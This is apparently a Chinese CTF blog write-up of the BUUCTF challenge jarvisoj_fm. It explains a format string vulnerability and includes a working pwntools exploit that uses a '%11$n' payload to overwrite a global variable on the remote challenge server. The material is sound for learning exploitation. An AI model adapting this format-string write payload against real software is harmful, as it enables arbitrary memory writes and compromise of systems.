[PWN] BUUCTF jarvisoj_fm
[PWN] BUUCTF jarvisoj_fm
按照惯例checksec ,开启了relro,canary,nx
执行程序,观察程序的逻辑,在打印出输入的字符后,会打印出3!
32IDA打开查看主要函数main,观察到在红框那里存在的很明显的格式化字符串漏洞,而且当x==4时,会得到flag,根据之前执行的程序可知,未修改x之前x的值为3,则若要修改x,需要利用格式化字符串漏洞的任意地址读写
找到要修改的地址,即x的地址
记录x的地址:0x804A02C
解题思路
利用 "AAAA %08x %08x %8x %08x %08x %08x %08x………… ",这样的字符串来找到我们输入的参数在函数栈上的位置,然后往这个位置进行写入修改的数值
0x41414141就是输入参数的位置,可以知道是第11个参数,%11$ 定位到这个位置,然后%n往这个位置写入4
%$定位参数符
%n 用于将当前字符串的长度打印到var中,默认写入4字节(获取地址的参数)(刚好题目要把x修改为4)
payload
#coding=utf-8
#格式化字符串漏洞
from pwn import * #导入pwntools中的pwn包的所有内容
context.terminal = ['terminator','-x','sh','-c']
p=remote("node3.buuoj.cn","26538") #链接服务器远程交互,等同于nc、ip端口命令
# p=process('./fm')
addr=0x0804A02C
playload=p32(addr) +'%11$n'
# gdb.attach(p,'b* main')
p.sendline(playload)
p.interactive()
Get!
[PWN] BUUCTF jarvisoj_fm相关推荐
- 持续更新 BUUCTF——PWN(一)
文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...
- BUUCTF(pwn)jarvisoj_fm --格式化字符串漏洞
简单的格式化字符串漏洞题目 32位,开启了canary和nx保护 知道以上条件就可以计算偏移了 得到偏移为11 from pwn import *r=remote('node3.buuoj.cn',2 ...
- BUUCTF Pwn warmup
BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...
- buuctf pwn wp(第四波)格式化字符串漏洞系列
这里是一个总的分类,一个类型的第一道题目会详细介绍,后面的类型相同的会简略介绍(不过这是第一波,都是最简单的,原理可以看我前面的文章,后面难一点的题目我再讲原理.) 这一波题都是无脑AAAA的类型,它 ...
- 持续更新 BUUCTF——PWN(二)
文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...
- buuctf(pwn)
胖胖 pwn1_sctf_2016 ciscn_2019_n_11 补充movss /ucomiss jarvisoj_level0 ciscn_2019_c_1 babyrop [第五空间2019 ...
- BUUCTF PWN rip1 WP
BUUCTF PWN rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...
- 持续更新 BUUCTF——PWN(三)
文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...
- buuctf pwn bjdctf_2020_babyrop
buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...
最新文章
- linux常用命令解析
- python中常用的语句元素
- python判断是否是英文字母_用python如何判断字符串是纯英文
- python中truncate的用法_在Python中操作文件之truncate()方法的使用教程
- ES5-4 函数基础与种类、形实参及映射、变量类型
- MyBatisPlus怎么忽略映射字段
- 基于阿里云 DNS API 实现的 DDNS 工具
- 【经典回放】JavaScript学习详细干货笔记之(一)
- POJ3983 快算24【暴力】
- 文字处理技术:标点压缩
- Hutool PinyinException: No pinyin jar found Please add one of it to your project问题解决
- Java版实现一个简单的电话簿
- iOS 关于音乐锁屏控制音乐(锁屏信息设置)
- 水果店开业活动策划,水果店开业怎么搞活动
- MVC3中_ViewStart.cshtml的一些事
- 微型计算机的多级存储结构,微型计算机存储系统结构.doc
- asp功放怎么装_功放音响安装—教您如何安装功放音响
- 计算机操作员高级图形图像处理photoshopcs2试题解答,图形图像处理(Photoshop平台)Photoshop CS2试题汇编(图像制作员...
- Python面向对象实现栈和图书管理系统
- ad域控查看ldap端口命令_工作笔记(一)LDAP和AD介绍以及使用LDAP操作AD域